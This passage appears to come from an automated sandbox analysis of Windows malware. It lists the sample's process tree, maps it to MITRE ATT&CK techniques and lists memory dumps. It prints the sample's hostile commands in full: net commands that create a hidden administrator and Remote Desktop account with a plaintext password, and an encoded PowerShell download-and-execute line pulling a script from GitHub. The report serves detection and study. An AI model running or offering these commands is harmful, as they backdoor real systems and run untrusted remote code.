    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:4276

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4296
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4336
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:4356

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:4416
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:4436

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc uLUVPa8i
1⤵
PID:4456
- C:\Windows\system32\net.exe
  net.exe user wgautilacc uLUVPa8i
  2⤵
  PID:4496
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc uLUVPa8i
    3⤵
    PID:4516

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:4544
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  PID:4604

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:4640
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  PID:4680

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:4716
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:4756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:4772

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:4924
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:4964
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:4984

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/352-131-0x000001BFD3425000-0x000001BFD3426000-memory.dmp

Filesize
4KB

Download
memory/352-132-0x000001BFD3426000-0x000001BFD3427000-memory.dmp

Filesize
4KB

Download
memory/352-129-0x000001BFD3420000-0x000001BFD3422000-memory.dmp

Filesize
8KB

Download
memory/352-130-0x000001BFD3423000-0x000001BFD3425000-memory.dmp

Filesize
8KB

Download
memory/352-127-0x000001BFEBF80000-0x000001BFEC3A1000-memory.dmp

Filesize
4.1MB

Download
memory/732-217-0x000002CFEDDF6000-0x000002CFEDDF8000-memory.dmp

Filesize
8KB

Download
memory/732-215-0x000002CFEDDF3000-0x000002CFEDDF5000-memory.dmp

Filesize
8KB

Download
memory/732-214-0x000002CFEDDF0000-0x000002CFEDDF2000-memory.dmp

Filesize
8KB

Download
memory/732-218-0x000002CFEDDF8000-0x000002CFEDDFA000-memory.dmp

Filesize
8KB

Download
memory/2144-187-0x0000016DD68A6000-0x0000016DD68A8000-memory.dmp

Filesize
8KB

Download
memory/2144-181-0x0000016DD68A0000-0x0000016DD68A2000-memory.dmp

Filesize
8KB

Download
memory/2144-182-0x0000016DD68A3000-0x0000016DD68A5000-memory.dmp

Filesize
8KB

Download
memory/2144-213-0x0000016DD68A8000-0x0000016DD68AA000-memory.dmp

Filesize
8KB

Download
memory/2204-114-0x0000000002030000-0x00000000020C1000-memory.dmp

Filesize
580KB

Download
memory/2204-115-0x0000000000400000-0x0000000000496000-memory.dmp

Filesize
600KB

Download
memory/2480-164-0x0000025769790000-0x0000025769791000-memory.dmp

Filesize
4KB

Download
memory/2480-165-0x0000025769B20000-0x0000025769B21000-memory.dmp

Filesize
4KB

Download
memory/2480-142-0x0000025769070000-0x0000025769072000-memory.dmp

Filesize
8KB

Download
memory/2480-158-0x0000025769076000-0x0000025769078000-memory.dmp

Filesize
8KB

Download
memory/2480-157-0x0000025768B00000-0x0000025768B01000-memory.dmp

Filesize
4KB

Download
memory/2480-223-0x0000025769078000-0x0000025769079000-memory.dmp

Filesize
4KB

Download
memory/2480-138-0x0000025768AC0000-0x0000025768AC1000-memory.dmp

Filesize
4KB

Download
memory/2480-143-0x0000025769073000-0x0000025769075000-memory.dmp

Filesize
8KB

Download
memory/2480-141-0x0000025769180000-0x0000025769181000-memory.dmp

Filesize
4KB

Download
memory/3312-222-0x0000023558F68000-0x0000023558F6A000-memory.dmp

Filesize
8KB

Download
memory/3312-220-0x0000023558F63000-0x0000023558F65000-memory.dmp

Filesize
8KB

Download
memory/3312-219-0x0000023558F60000-0x0000023558F62000-memory.dmp

Filesize
8KB

Download
memory/3312-221-0x0000023558F66000-0x0000023558F68000-memory.dmp

Filesize
8KB

Download
memory/4772-255-0x000002CA611E0000-0x000002CA611E2000-memory.dmp

Filesize
8KB

Download
memory/4772-256-0x000002CA611E3000-0x000002CA611E5000-memory.dmp

Filesize
8KB

Download
memory/4772-257-0x000002CA611E6000-0x000002CA611E8000-memory.dmp

Filesize
8KB

Download
memory/4772-258-0x000002CA611E8000-0x000002CA611E9000-memory.dmp

Filesize
4KB

Download